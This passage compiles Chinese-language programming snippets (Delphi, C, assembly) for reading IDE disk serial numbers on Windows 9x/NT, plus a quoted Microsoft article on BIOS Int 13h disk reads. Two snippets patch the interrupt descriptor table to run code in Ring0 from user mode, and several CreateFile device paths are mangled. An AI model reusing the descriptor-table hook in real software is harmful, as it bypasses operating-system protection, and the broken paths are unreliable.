// 将 中 断 描 述 符 表 寄 存 器（IDTR）的 内 容 取 出

mov ebx, dword ptr [IDTR+2]

// 取 出 中 断 描 述 符 表（IDT） 基 地 址

add ebx, 8*3

// 计 算Int 3 的 描 述 符 应 放 置 的 地 址 选 用

//Int3 是 因 为 它 在Win32 保 护 模 式 下 未 占 用

mov edi, offset SavedGate

mov esi, ebx

movsd // 保 存 原 来 的Int 9 描 述 符 到

movsd //SavedGate 以 便 恢 复

mov edi, ebx

mov esi, offset OurGate

cli

movsd // 替 换 原 来 的 中 断 门 描 述 符

movsd // 以 安 装 中 断 服 务 例 程

sti

mov eax,6200h

// 用 以 测 试 放 在EAX 中 的 数 据 能 否 正 确 传 到Ring0 中 断

mov ecx,0

// 用 以 测 试 放 在ECX 中 的 数 据

// 能 否 正 确 传 到Ring0 中 断

// 因 为 很 多VxD 服 务 都 用此二 寄 存 器 传 递 参 数

int 3h

// 人 为 触 发 中 断, 平 时 会 出 现保 护 错 误 蓝 屏 或 非 法 操

// 作 对 话 框， 现 在 安 装 了

// 中 断 服 务 例 程 后， 就 会 通 过

//VMM 在Ring0 调 用 中 断 服 务 例 程Ring0Proc

mov edi, ebx

mov esi, offset SavedGate

cli

movsd // 恢 复 原 来 的 中 断 门 描 述 符

movsd

sti

end;

asm

xor ecx,ecx

mov ebx,offset dd[10*2]

@4:mov ax,[ebx]

mov byte ptr dsn[ecx],ah

inc ecx

mov byte ptr dsn[ecx],al

inc ebx

inc ebx

inc ecx

cmp ecx,10

jne @4

end;

showmessage(dsn);

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

change2ring0;

end;

end.

********************

program IdeSN;

// PURPOSE: Simple console application that extract first IDE disk serial number.

{$APPTYPE CONSOLE}

uses

Windows,

SysUtils; // only for Win32Platform and SysErrorMessage

//-------------------------------------------------------------

function GetIdeDiskSerialNumber : String;

type

TSrbIoControl = packed record

HeaderLength : ULONG;

Signature : Array[0..7] of Char;

Timeout : ULONG;

ControlCode : ULONG;

ReturnCode : ULONG;

Length : ULONG;

end;

SRB_IO_CONTROL = TSrbIoControl;

PSrbIoControl = ^TSrbIoControl;

TIDERegs = packed record

bFeaturesReg : Byte; // Used for specifying SMART "commands".

bSectorCountReg : Byte; // IDE sector count register

bSectorNumberReg : Byte; // IDE sector number register

bCylLowReg : Byte; // IDE low order cylinder value

bCylHighReg : Byte; // IDE high order cylinder value

bDriveHeadReg : Byte; // IDE drive/head register

bCommandReg : Byte; // Actual IDE command.

bReserved : Byte; // reserved. Must be zero.

end;

IDEREGS = TIDERegs;

PIDERegs = ^TIDERegs;

TSendCmdInParams = packed record

cBufferSize : DWORD;

irDriveRegs : TIDERegs;

bDriveNumber : Byte;

bReserved : Array[0..2] of Byte;

dwReserved : Array[0..3] of DWORD;

bBuffer : Array[0..0] of Byte;

end;

SENDCMDINPARAMS = TSendCmdInParams;

PSendCmdInParams = ^TSendCmdInParams;

TIdSector = packed record

wGenConfig : Word;

wNumCyls : Word;

wReserved : Word;

wNumHeads : Word;

wBytesPerTrack : Word;

wBytesPerSector : Word;

wSectorsPerTrack : Word;

wVendorUnique : Array[0..2] of Word;

sSerialNumber : Array[0..19] of Char;

wBufferType : Word;

wBufferSize : Word;

wECCSize : Word;

sFirmwareRev : Array[0..7] of Char;

sModelNumber : Array[0..39] of Char;

wMoreVendorUnique : Word;

wDoubleWordIO : Word;

wCapabilities : Word;

wReserved1 : Word;

wPIOTiming : Word;

wDMATiming : Word;

wBS : Word;

wNumCurrentCyls : Word;

wNumCurrentHeads : Word;

wNumCurrentSectorsPerTrack : Word;

ulCurrentSectorCapacity : ULONG;

wMultSectorStuff : Word;

ulTotalAddressableSectors : ULONG;

wSingleWordDMA : Word;

wMultiWordDMA : Word;

bReserved : Array[0..127] of Byte;

end;

PIdSector = ^TIdSector;

const

IDE_ID_FUNCTION = $EC;

IDENTIFY_BUFFER_SIZE = 512;

DFP_RECEIVE_DRIVE_DATA = $0007c088;

IOCTL_SCSI_MINIPORT = $0004d008;

IOCTL_SCSI_MINIPORT_IDENTIFY = $001b0501;

DataSize = sizeof(TSendCmdInParams)-1+IDENTIFY_BUFFER_SIZE;

BufferSize = SizeOf(SRB_IO_CONTROL)+DataSize;

W9xBufferSize = IDENTIFY_BUFFER_SIZE+16;

var

hDevice : THandle;

cbBytesReturned : DWORD;

pInData : PSendCmdInParams;

pOutData : Pointer; // PSendCmdOutParams

Buffer : Array[0..BufferSize-1] of Byte;

srbControl : TSrbIoControl absolute Buffer;

procedure ChangeByteOrder( var Data; Size : Integer );

var ptr : PChar;

i : Integer;

c : Char;

begin

ptr := @Data;

for i := 0 to (Size shr 1)-1 do

begin

c := ptr^;

ptr^ := (ptr+1)^;

(ptr+1)^ := c;

Inc(ptr,2);

end;

end;

begin

Result := '';

FillChar(Buffer,BufferSize,#0);

if Win32Platform=VER_PLATFORM_WIN32_NT then

begin // Windows NT, Windows 2000

// Get SCSI port handle

hDevice := CreateFile( '\.:',

GENERIC_READ or GENERIC_WRITE,

FILE_SHARE_READ or FILE_SHARE_WRITE,

nil, OPEN_EXISTING, 0, 0 );

if hDevice=INVALID_HANDLE_VALUE then Exit;

try

srbControl.HeaderLength := SizeOf(SRB_IO_CONTROL);

System.Move('SCSIDISK',srbControl.Signature,8);

srbControl.Timeout := 2;

srbControl.Length := DataSize;

srbControl.ControlCode := IOCTL_SCSI_MINIPORT_IDENTIFY;

pInData := PSendCmdInParams(PChar(@Buffer)

+SizeOf(SRB_IO_CONTROL));

pOutData := pInData;

with pInData^ do

begin

cBufferSize := IDENTIFY_BUFFER_SIZE;

bDriveNumber := 0;

with irDriveRegs do

begin

bFeaturesReg := 0;

bSectorCountReg := 1;

bSectorNumberReg := 1;

bCylLowReg := 0;

bCylHighReg := 0;

bDriveHeadReg := $A0;

bCommandReg := IDE_ID_FUNCTION;

end;

end;

if not DeviceIoControl( hDevice, IOCTL_SCSI_MINIPORT,

@Buffer, BufferSize, @Buffer, BufferSize,

cbBytesReturned, nil ) then Exit;

finally

CloseHandle(hDevice);

end;

end

else

begin // Windows 95 OSR2, Windows 98

hDevice := CreateFile( '\.', 0, 0, nil,

CREATE_NEW, 0, 0 );

if hDevice=INVALID_HANDLE_VALUE then Exit;

try

pInData := PSendCmdInParams(@Buffer);

pOutData := @pInData^.bBuffer;

with pInData^ do

begin

cBufferSize := IDENTIFY_BUFFER_SIZE;

bDriveNumber := 0;

with irDriveRegs do

begin

bFeaturesReg := 0;

bSectorCountReg := 1;

bSectorNumberReg := 1;

bCylLowReg := 0;

bCylHighReg := 0;

bDriveHeadReg := $A0;

bCommandReg := IDE_ID_FUNCTION;

end;

end;

if not DeviceIoControl( hDevice, DFP_RECEIVE_DRIVE_DATA,

pInData, SizeOf(TSendCmdInParams)-1, pOutData,

W9xBufferSize, cbBytesReturned, nil ) then Exit;

finally

CloseHandle(hDevice);

end;

end;

with PIdSector(PChar(pOutData)+16)^ do

begin

ChangeByteOrder(sSerialNumber,SizeOf(sSerialNumber));

SetString(Result,sSerialNumber,SizeOf(sSerialNumber));

end;

end;

//=============================================================

var s : String;

rc : DWORD;

begin

s := GetIdeDiskSerialNumber;

if s='' then

begin

rc := GetLastError;

if rc=0 then WriteLn('IDE drive is not support SMART feature')

else WriteLn(SysErrorMessage(rc));

end

else WriteLn('Disk serial number: ''', s,'''');

readln;

end.


硬盘序列号
获取主板的工业序列号完全可以实现，注意是硬盘外壳上的序列号，不是格式化后的序列

号，C语言源程序如下（注：该程序由顶尖高手丁凯所写）：

#include <windows.h>

#include <stdio.h>

WORD pw[256];

static DWORD idt, int_idt;

static DWORD Base;

static WORD Entry;

#pragma warning (disable:4035)

static int inp(WORD rdx)

{

_asm xor eax, eax

_asm mov dx, rdx

_asm in al, dx

}

static WORD inpw(WORD rdx)

{

_asm xor eax, eax

_asm mov dx, rdx

_asm in ax, dx

}

static void outp(WORD rdx, int ral)

{

_asm mov dx, rdx

_asm mov eax, ral

_asm out dx, al

}

static int WaitIde()

{

int al;

while ((al=inp(0x1F7))>=0x80) ;

return al;

}

static void ReadIDE()

{

int al;

int i;

WaitIde();

outp(0x1F6,0xA0);

al = WaitIde();

if ((al&0x50)!=0x50) return;

outp(0x1F6,0xA0);

outp(0x1F7,0xEC);

al = WaitIde();

if ((al&0x58)!=0x58) return;

for (i=0;i<256;i++) {

pw[i] = inpw(0x1F0);

}

}

static void __declspec( naked ) NowInRing0()

{

_asm {

push ebp

mov ebp,esp

call ReadIDE

cli

mov ebx, int_idt

mov ax, Entry

mov word ptr [ebx-4], ax

mov eax, Base

shr eax, 16

mov [ebx+2], ax

sti

leave

iretd

}

}

void GetIDEInfo()

{

DWORD dwExcept;

dwExcept = (DWORD)NowInRing0;

_asm {

mov eax, fs:[0]

push eax

sidt [esp-02h]

pop ebx

mov idt, ebx

add ebx, 0x1C

mov int_idt, ebx

mov eax, [ebx]

mov [Base], eax

mov ax, [ebx-4]

mov [Entry], ax

cli

mov esi, dwExcept

push esi

mov [ebx-4], si

shr esi, 16

mov [ebx+2], si

pop esi

sti

int 3

}

}

main()

{

char s[80];

register i,j;

GetIDEInfo();

for (i=0,j=0;i<10;i++) {

s[j++]=pw[10+i]>>8;

s[j++]=pw[10+i]&0xFF;

}

s[j] = 0;

printf("Serial=%s", s);

return 0;

}


读取硬盘序列号
读取的程序大家都知道，代码如下：

unit Unit_Main;

interface

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, StdCtrls;

type

TSrbIoControl = packed record

HeaderLength: ULONG;

Signature: array[0..7] of Char;

Timeout: ULONG;

ControlCode: ULONG;

ReturnCode: ULONG;

Length: ULONG;

end;

SRB_IO_CONTROL = TSrbIoControl;

PSrbIoControl = ^TSrbIoControl;

TIDERegs = packed record

bFeaturesReg: Byte; // Used for specifying SMART "commands".

bSectorCountReg: Byte; // IDE sector count register

bSectorNumberReg: Byte; // IDE sector number register

bCylLowReg: Byte; // IDE low order cylinder value

bCylHighReg: Byte; // IDE high order cylinder value

bDriveHeadReg: Byte; // IDE drive/head register

bCommandReg: Byte; // Actual IDE command.

bReserved: Byte; // reserved. Must be zero.

end;

IDEREGS = TIDERegs;

PIDERegs = ^TIDERegs;

TSendCmdInParams = packed record

cBufferSize: DWORD;

irDriveRegs: TIDERegs;

bDriveNumber: Byte;

bReserved: array[0..2] of Byte;

dwReserved: array[0..3] of DWORD;

bBuffer: array[0..0] of Byte;

end;

SENDCMDINPARAMS = TSendCmdInParams;

PSendCmdInParams = ^TSendCmdInParams;

TIdSector = packed record

wGenConfig: Word;

wNumCyls: Word;

wReserved: Word;

wNumHeads: Word;

wBytesPerTrack: Word;

wBytesPerSector: Word;

wSectorsPerTrack: Word;

wVendorUnique: array[0..2] of Word;

sSerialNumber: array[0..19] of Char;

wBufferType: Word;

wBufferSize: Word;

wECCSize: Word;

sFirmwareRev: array[0..7] of Char;

sModelNumber: array[0..39] of Char;

wMoreVendorUnique: Word;

wDoubleWordIO: Word;

wCapabilities: Word;

wReserved1: Word;

wPIOTiming: Word;

wDMATiming: Word;

wBS: Word;

wNumCurrentCyls: Word;

wNumCurrentHeads: Word;

wNumCurrentSectorsPerTrack: Word;

ulCurrentSectorCapacity: ULONG;

wMultSectorStuff: Word;

ulTotalAddressableSectors: ULONG;

wSingleWordDMA: Word;

wMultiWordDMA: Word;

bReserved: array[0..127] of Byte;

end;

PIdSector = ^TIdSector;

const

IDE_ID_FUNCTION = $EC;

IDENTIFY_BUFFER_SIZE = 512;

DFP_RECEIVE_DRIVE_DATA = $0007C088;

IOCTL_SCSI_MINIPORT = $0004D008;

IOCTL_SCSI_MINIPORT_IDENTIFY = $001B0501;

DataSize = sizeof(TSendCmdInParams) - 1 + IDENTIFY_BUFFER_SIZE;

BufferSize = SizeOf(SRB_IO_CONTROL) + DataSize;

W9xBufferSize = IDENTIFY_BUFFER_SIZE + 16;

type

TForm_Main = class(TForm)

Edit_HardDiskNumber: TEdit;

Label1: TLabel;

Button_Get: TButton;

procedure Button_GetClick(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form_Main: TForm_Main;

implementation

{$R *.dfm}

function GetIdeDiskSerialNumber: string;

type

TSrbIoControl = packed record

HeaderLength: ULONG;

Signature: array[0..7] of Char;

Timeout: ULONG;

ControlCode: ULONG;

ReturnCode: ULONG;

Length: ULONG;

end;

SRB_IO_CONTROL = TSrbIoControl;

PSrbIoControl = ^TSrbIoControl;

TIDERegs = packed record

bFeaturesReg: Byte; // Used for specifying SMART "commands".

bSectorCountReg: Byte; // IDE sector count register

bSectorNumberReg: Byte; // IDE sector number register

bCylLowReg: Byte; // IDE low order cylinder value

bCylHighReg: Byte; // IDE high order cylinder value

bDriveHeadReg: Byte; // IDE drive/head register

bCommandReg: Byte; // Actual IDE command.

bReserved: Byte; // reserved for future use. Must be zero.

end;

IDEREGS = TIDERegs;

PIDERegs = ^TIDERegs;

TSendCmdInParams = packed record

cBufferSize: DWORD; // Buffer size in bytes

irDriveRegs: TIDERegs; // Structure with drive register values.

bDriveNumber: Byte; // Physical drive number to send command to (0,1,2,3).

bReserved: array[0..2] of Byte; // Reserved for future expansion.

dwReserved: array[0..3] of DWORD; // For future use.

bBuffer: array[0..0] of Byte; // Input buffer.

end;

SENDCMDINPARAMS = TSendCmdInParams;

PSendCmdInParams = ^TSendCmdInParams;

TIdSector = packed record

wGenConfig: Word;

wNumCyls: Word;

wReserved: Word;

wNumHeads: Word;

wBytesPerTrack: Word;

wBytesPerSector: Word;

wSectorsPerTrack: Word;

wVendorUnique: array[0..2] of Word;

sSerialNumber: array[0..19] of Char;

wBufferType: Word;

wBufferSize: Word;

wECCSize: Word;

sFirmwareRev: array[0..7] of Char;

sModelNumber: array[0..39] of Char;

wMoreVendorUnique: Word;

wDoubleWordIO: Word;

wCapabilities: Word;

wReserved1: Word;

wPIOTiming: Word;

wDMATiming: Word;

wBS: Word;

wNumCurrentCyls: Word;

wNumCurrentHeads: Word;

wNumCurrentSectorsPerTrack: Word;

ulCurrentSectorCapacity: ULONG;

wMultSectorStuff: Word;

ulTotalAddressableSectors: ULONG;

wSingleWordDMA: Word;

wMultiWordDMA: Word;

bReserved: array[0..127] of Byte;

end;

PIdSector = ^TIdSector;

const

IDE_ID_FUNCTION = $EC;

IDENTIFY_BUFFER_SIZE = 512;

DFP_RECEIVE_DRIVE_DATA = $0007C088;

IOCTL_SCSI_MINIPORT = $0004D008;

IOCTL_SCSI_MINIPORT_IDENTIFY = $001B0501;

DataSize = sizeof(TSendCmdInParams) - 1 + IDENTIFY_BUFFER_SIZE;

BufferSize = SizeOf(SRB_IO_CONTROL) + DataSize;

W9xBufferSize = IDENTIFY_BUFFER_SIZE + 16;

var

hDevice: THandle;

cbBytesReturned: DWORD;

pInData: PSendCmdInParams;

pOutData: Pointer; // PSendCmdInParams;

Buffer: array[0..BufferSize - 1] of Byte;

srbControl: TSrbIoControl absolute Buffer;

procedure ChangeByteOrder(var Data; Size: Integer);

var ptr: PChar;

i: Integer;

c: Char;

begin

ptr := @Data;

for i := 0 to (Size shr 1) - 1 do

begin

c := ptr^;

ptr^ := (ptr + 1)^;

(ptr + 1)^ := c;

Inc(ptr, 2);

end;

end;

begin

Result := '';

FillChar(Buffer, BufferSize, #0);

if Win32Platform = VER_PLATFORM_WIN32_NT then

begin // Windows NT, Windows 2000

// Get SCSI port handle

hDevice := CreateFile('\.:', GENERIC_READ or GENERIC_WRITE,

FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_EXISTING, 0, 0);

if hDevice = INVALID_HANDLE_VALUE then Exit;

try

srbControl.HeaderLength := SizeOf(SRB_IO_CONTROL);

System.Move('SCSIDISK', srbControl.Signature, 8);

srbControl.Timeout := 2;

srbControl.Length := DataSize;

srbControl.ControlCode := IOCTL_SCSI_MINIPORT_IDENTIFY;

pInData := PSendCmdInParams(PChar(@Buffer) + SizeOf(SRB_IO_CONTROL));

pOutData := pInData;

with pInData^ do

begin

cBufferSize := IDENTIFY_BUFFER_SIZE;

bDriveNumber := 0;

with irDriveRegs do

begin

bFeaturesReg := 0;

bSectorCountReg := 1;

bSectorNumberReg := 1;

bCylLowReg := 0;

bCylHighReg := 0;

bDriveHeadReg := $A0;

bCommandReg := IDE_ID_FUNCTION;

end;

end;

if not DeviceIoControl(hDevice, IOCTL_SCSI_MINIPORT, @Buffer, BufferSize, @Buffer, BufferSize, cbBytesReturned, nil) then Exit;

finally

CloseHandle(hDevice);

end;

end

else

begin // Windows 95 OSR2, Windows 98

hDevice := CreateFile('\.', 0, 0, nil, CREATE_NEW, 0, 0);

if hDevice = INVALID_HANDLE_VALUE then Exit;

try

pInData := PSendCmdInParams(@Buffer);

pOutData := PChar(@pInData^.bBuffer);

with pInData^ do

begin

cBufferSize := IDENTIFY_BUFFER_SIZE;

bDriveNumber := 0;

with irDriveRegs do

begin

bFeaturesReg := 0;

bSectorCountReg := 1;

bSectorNumberReg := 1;

bCylLowReg := 0;

bCylHighReg := 0;

bDriveHeadReg := $A0;

bCommandReg := IDE_ID_FUNCTION;

end;

end;

if not DeviceIoControl(hDevice, DFP_RECEIVE_DRIVE_DATA, pInData, SizeOf(TSendCmdInParams) - 1, pOutData, W9xBufferSize, cbBytesReturned, nil) then Exit;

finally

CloseHandle(hDevice);

end;

end;

with PIdSector(PChar(pOutData) + 16)^ do

begin

ChangeByteOrder(sSerialNumber, SizeOf(sSerialNumber));

SetString(Result, sSerialNumber, SizeOf(sSerialNumber));

end;

end;

procedure TForm_Main.Button_GetClick(Sender: TObject);

begin

Edit_HardDiskNumber.Text := GetIdeDiskSerialNumber;

end;

end.


使用S.M.A.R.T. Ioctl API获取IDE硬盘序列号
使用S.M.A.R.T. Ioctl API获取IDE硬盘序列号

(http://www.tommstudio.com)

--------------------------------------------------------------------------------

通过它你可以获取型号名称, firmware revision，序列号以及其它有关IDE硬盘的信息.

回答:

相关构件:

IdeInfo.zip

许多FAQ中推荐使用GetVolumeInformation来获取硬盘序列号。但是那获取的是卷的序列号，而不是硬盘的序列号。卷 的序列号是在分区格式化时生成或修改。一些公司使用复制工具来为全部新计算机安装软件----通过将一个硬盘复制到 其它硬盘，当然，所有这些计算机上卷的信息（包括序列号）都是相同的。

我建议另外的一个方法：获取真正硬盘的序列号。

不幸的是，下列代码只能工作在IDE硬盘上。

//获取第一个IDE硬盘的序列号

function GetIdeSerialNumber : SerialNumber;

const IDENTIFY_BUFFER_SIZE = 512;

type

TIDERegs = packed record

bFeaturesReg : BYTE; // Used for specifying SMART "commands".

bSectorCountReg : BYTE; // IDE sector count register

bSectorNumberReg : BYTE; // IDE sector number register

bCylLowReg : BYTE; // IDE low order cylinder value

bCylHighReg : BYTE; // IDE high order cylinder value

bDriveHeadReg : BYTE; // IDE drive/head register

bCommandReg : BYTE; // Actual IDE command.

bReserved : BYTE; // reserved for future use. Must be zero.

end;

TSendCmdInParams = packed record

// Buffer size in bytes

cBufferSize : DWORD;

// Structure with drive register values.

irDriveRegs : TIDERegs;

// Physical drive number to send command to (0,1,2,3).

bDriveNumber : BYTE;

bReserved : Array[0..2] of Byte;

dwReserved : Array[0..3] of DWORD;

bBuffer : Array[0..0] of Byte; // Input buffer.

end;

TIdSector = packed record

wGenConfig : Word;

wNumCyls : Word;

wReserved : Word;

wNumHeads : Word;

wBytesPerTrack : Word;

wBytesPerSector : Word;

wSectorsPerTrack : Word;

wVendorUnique : Array[0..2] of Word;

sSerialNumber : Array[0..19] of CHAR;

wBufferType : Word;

wBufferSize : Word;

wECCSize : Word;

sFirmwareRev : Array[0..7] of Char;

sModelNumber : Array[0..39] of Char;

wMoreVendorUnique : Word;

wDoubleWordIO : Word;

wCapabilities : Word;

wReserved1 : Word;

wPIOTiming : Word;

wDMATiming : Word;

wBS : Word;

wNumCurrentCyls : Word;

wNumCurrentHeads : Word;

wNumCurrentSectorsPerTrack : Word;

ulCurrentSectorCapacity : DWORD;

wMultSectorStuff : Word;

ulTotalAddressableSectors : DWORD;

wSingleWordDMA : Word;

wMultiWordDMA : Word;

bReserved : Array[0..127] of BYTE;

end;

PIdSector = ^TIdSector;

TDriverStatus = packed record

// 驱动器返回的错误代码，无错则返回0

bDriverError : Byte;

// IDE出错寄存器的内容，只有当bDriverError 为 SMART_IDE_ERROR 时有效

bIDEStatus : Byte;

bReserved : Array[0..1] of Byte;

dwReserved : Array[0..1] of DWORD;

end;

TSendCmdOutParams = packed record

// bBuffer的大小

cBufferSize : DWORD;

// 驱动器状态

DriverStatus : TDriverStatus;

// 用于保存从驱动器读出的数据的缓冲区，实际长度由cBufferSize决定

bBuffer : Array[0..0] of BYTE;

end;

var hDevice : THandle;

cbBytesReturned : DWORD;

ptr : PChar;

SCIP : TSendCmdInParams;

aIdOutCmd : Array [0..(SizeOf(TSendCmdOutParams)+IDENTIFY_BUFFER_SIZE-1)-1] of Byte;

IdOutCmd : TSendCmdOutParams absolute aIdOutCmd;

procedure ChangeByteOrder( var Data; Size : Integer );

var ptr : PChar;

i : Integer;

c : Char;

begin

ptr := @Data;

for i := 0 to (Size shr 1)-1 do

begin

c := ptr^;

ptr^ := (ptr+1)^;

(ptr+1)^ := c;

Inc(ptr,2);

end;

end;

begin

Result := ''; // 如果出错则返回空串

if SysUtils.Win32Platform=VER_PLATFORM_WIN32_NT then // Windows NT, Windows 2000

begin

// 提示! 改变名称可适用于其它驱动器，如第二个驱动器： '\.

hDevice := CreateFile( '\.', GENERIC_READ or GENERIC_WRITE,

FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_EXISTING, 0, 0 );

end

else // Version Windows 95 OSR2, Windows 98

hDevice := CreateFile( '\.', 0, 0, nil, CREATE_NEW, 0, 0 );

if hDevice=INVALID_HANDLE_VALUE then Exit;

try

FillChar(SCIP,SizeOf(TSendCmdInParams)-1,#0);

FillChar(aIdOutCmd,SizeOf(aIdOutCmd),#0);

cbBytesReturned := 0;

// Set up data structures for IDENTIFY command.

with SCIP do

begin

cBufferSize := IDENTIFY_BUFFER_SIZE;

// bDriveNumber := 0;

with irDriveRegs do

begin

bSectorCountReg := 1;

bSectorNumberReg := 1;

// if Win32Platform=VER_PLATFORM_WIN32_NT then bDriveHeadReg := $A0

// else bDriveHeadReg := $A0 or ((bDriveNum and 1) shl 4);

bDriveHeadReg := $A0;

bCommandReg := $EC;

end;

end;

if not DeviceIoControl( hDevice, $0007c088, @SCIP, SizeOf(TSendCmdInParams)-1,

@aIdOutCmd, SizeOf(aIdOutCmd), cbBytesReturned, nil ) then Exit;

finally

CloseHandle(hDevice);

end;

with PIdSector(@IdOutCmd.bBuffer)^ do

begin

ChangeByteOrder( sSerialNumber, SizeOf(sSerialNumber) );

(PChar(@sSerialNumber)+SizeOf(sSerialNumber))^ := #0;

Result := PChar(@sSerialNumber);

end;

end;

// 更多关于 S.M.A.R.T. ioctl 的信息可查看:

// http://www.microsoft.com/hwdev/download/respec/iocltapi.rtf

// MSDN库中也有一些简单的例子

// Windows Development -> Win32 Device Driver Kit ->

// SAMPLE: SmartApp.exe Accesses SMART stats in IDE drives

// 还可以查看 http://www.mtgroup.ru/~alexk

// IdeInfo.zip - 一个简单的使用了S.M.A.R.T. Ioctl API的Delphi应用程序

// 注意:

// WinNT/Win2000 - 你必须拥有对硬盘的读/写访问权限

// Win98

// SMARTVSD.VXD 必须安装到

// (不要忘记在复制后重新启动系统)


设置磁盘卷标
SetVolumeLabel('c:\','');


HD INT13
Worldwide Support

PRB: DeviceIoControl Int 13h Does Not Support Hard Disks

The information in this article applies to:

Microsoft Win32 Application Programming Interface (API), included with:

Microsoft Windows 95

----------------------------------------------------------------------------

----

SYMPTOMS

Win32 applications running under Windows 95 use CreateFile to open VWIN32

and then use DeviceIoControl with the VWIN32_DIOC_DOS_INT13 flag to perform

low-level BIOS disk functions. The functions work on floppy disks but always

fail on hard disks.

CAUSE

Windows 95, like previous versions of Windows, does not support calling BIOS

disk functions to gain access to hard disks from Win16 and Win32

applications. The reason is that BIOSXLAT.VXD does not translate BIOS

requests to hard disks from protected-mode into V86 mode, and this causes

the ROM BIOS to be called with an invalid address.

RESOLUTION

To work around this problem, Win32 applications must thunk to a Win16 DLL

and have that DLL call the DOS Protected Mode Interface (DPMI) Simulate Real

Mode Interrupt function to call Int 13h BIOS disk functions on hard disks.

When you use DPMI to call Int 13h BIOS disk functions, you bypass

BIOSXLAT.VXD and call the real-mode BIOS. Note that you cannot call DPMI

from 32-bit code.

STATUS

This behavior is by design.

MORE INFORMATION

The following example code shows how a Win32 application running under

Windows 95 can read the first physical sector of a hard disk, which contains

the disk's partition tables. This code requires a flat thunk, so parts of it

must be placed in a Win32 DLL and other parts must be placed in a Win16 DLL.

The relevant code for each DLL is labeled.

Execution starts from a Win32 application calling the Win32 DLL and proceeds

as follows. The Win32 DLL function, CallReadPhysicalSector1, calls the Win16

DLL's ReadPhysicalSector1 function by way of a thunk. Then

ReadPhysicalSector1, which is exported by the 16-bit DLL, calls DPMI to call

the BIOS Read Track function to read the first sector of the specified hard

disk. After ReadPhysicalSector1 returns, the contents of the first sector of

the hard disk, including the hard disk's partition table and bootstrap

program, will be in the buffer pointed to by lpBuff.

Code Sample

// Code in the 32-bit DLL

// Prototype for function in 16-bit DLL.

BOOL FAR PASCAL ReadPhysicalSector1 (BYTE bDrive,

LPBYTE lpBuffer,

DWORD cbBuffSize);

/*--------------------------------------------------------------------

CallReadPhysicalSector1()

Reads the first sector of the first hard disk.

Return Value

Returns TRUE if the first sector was read, and FALSE if it

wasn't.

--------------------------------------------------------------------*/

__declspec(dllexport) BOOL WINAPI CallReadPhysicalSector1()

{

char lpBuff[512];

BOOL fResult;

// Read the first sector of the first hard disk.

fResult = ReadPhysicalSector1 (0x80, lpBuff, 512);

if (fResult)

{

// lpBuff contains the sector data. Use it here

}

return fResult;

}

// Thunk Script

enablemapdirect3216 = true;

typedef unsigned long DWORD;

typedef unsigned char BYTE, * LPBYTE;

typedef bool BOOL;

BOOL ReadPhysicalSector1 (BYTE bDrive,

LPBYTE lpBuffer,

DWORD cbBuffSize)

{

lpBuffer = inout;

}

// Code in the 16-bit DLL

// Converts two BYTEs into a WORD. This is useful for working with

// a RMCS, but was not provided in WINDOWS.H.

#define MAKEWORD(low, high) \

((WORD)((((WORD)(high)) << 8) | ((BYTE)(low))))

#define SECTOR_SIZE 512 // Size, in bytes, of a disk sector

#define CARRY_FLAG 0x0001

typedef BYTE FAR *LPBYTE;

typedef struct tagRMCS

{

DWORD edi, esi, ebp, RESERVED, ebx, edx, ecx, eax;

WORD wFlags, es, ds, fs, gs, ip, cs, sp, ss;

} RMCS, FAR* LPRMCS;

BOOL FAR PASCAL SimulateRM_Int (BYTE bIntNum, LPRMCS lpCallStruct);

void FAR PASCAL BuildRMCS (LPRMCS lpCallStruct);

BOOL FAR PASCAL __export ReadPhysicalSector1 (BYTE bDrive,

LPBYTE lpBuffer,

DWORD cbBuffSize);

/*--------------------------------------------------------------------

ReadPhysicalSector1()

Calls DPMI to call the BIOS Int 13h Read Track function to read the

first physical sector of a physical drive. This function is used to

read partition tables, for example.

Parameters

bDrive

The Int 13h device unit,

0x00 for floppy drive 0

0x00 for floppy drive 1

0x80 for physical hard disk 0

0x81 for physical hard disk 1

etc.

lpBuffer

Pointer to a buffer that receives the sector data. The buffer

must be at least SECTOR_SIZE bytes long.

cbBuffSize

Actual size of lpBuffer.

Return Value

Returns TRUE if the first sector was read into the buffer pointed

to by lpBuffer, or FALSE otherwise.

Assumptions

Assumes that sectors are at least SECTOR_SIZE bytes long.

--------------------------------------------------------------------*/

BOOL FAR PASCAL __export ReadPhysicalSector1 (BYTE bDrive,

LPBYTE lpBuffer,

DWORD cbBuffSize)

{

BOOL fResult;

RMCS callStruct;

DWORD gdaBuffer; // Return value of GlobalDosAlloc().

LPBYTE RMlpBuffer; // Real-mode buffer pointer

LPBYTE PMlpBuffer; // Protected-mode buffer pointer

/*

Validate params:

bDrive should be int 13h device unit -- let the BIOS validate

this parameter -- user could have a special controller with

its own BIOS.

lpBuffer must not be NULL

cbBuffSize must be large enough to hold a single sector

*/

if (lpBuffer == NULL || cbBuffSize < SECTOR_SIZE)

return FALSE;

/*

Allocate the buffer that the Int 13h function will put the sector

data into. As this function uses DPMI to call the real-mode BIOS, it

must allocate the buffer below 1 MB, and must use a real-mode

paragraph-segment address.

After the memory has been allocated, create real-mode and

protected-mode pointers to the buffer. The real-mode pointer

will be used by the BIOS, and the protected-mode pointer will be

used by this function because it resides in a Windows 16-bit DLL,

which runs in protected mode.

*/

gdaBuffer = GlobalDosAlloc (cbBuffSize);

if (!gdaBuffer)

return FALSE;

RMlpBuffer = (LPBYTE)MAKELONG(0, HIWORD(gdaBuffer));

PMlpBuffer = (LPBYTE)MAKELONG(0, LOWORD(gdaBuffer));

/*

Initialize the real-mode call structure and set all values needed

to read the first sector of the specified physical drive.

*/

BuildRMCS (&callStruct);

callStruct.eax = 0x0201; // BIOS read, 1 sector

callStruct.ecx = 0x0001; // Sector 1, Cylinder 0

callStruct.edx = MAKEWORD(bDrive, 0); // Head 0, Drive #

callStruct.ebx = LOWORD(RMlpBuffer); // Offset of sector buffer

callStruct.es = HIWORD(RMlpBuffer); // Segment of sector buffer

/*

Call Int 13h BIOS Read Track and check both the DPMI call

itself and the BIOS Read Track function result for success. If

successful, copy the sector data retrieved by the BIOS into the

caller's buffer.

*/

if (fResult = SimulateRM_Int (0x13, &callStruct))

if (!(callStruct.wFlags & CARRY_FLAG))

{

_fmemcpy (lpBuffer, PMlpBuffer, (size_t)cbBuffSize);

fResult = TRUE;

}

else

fResult = FALSE;

// Free the sector data buffer this function allocated

GlobalDosFree (LOWORD(gdaBuffer));

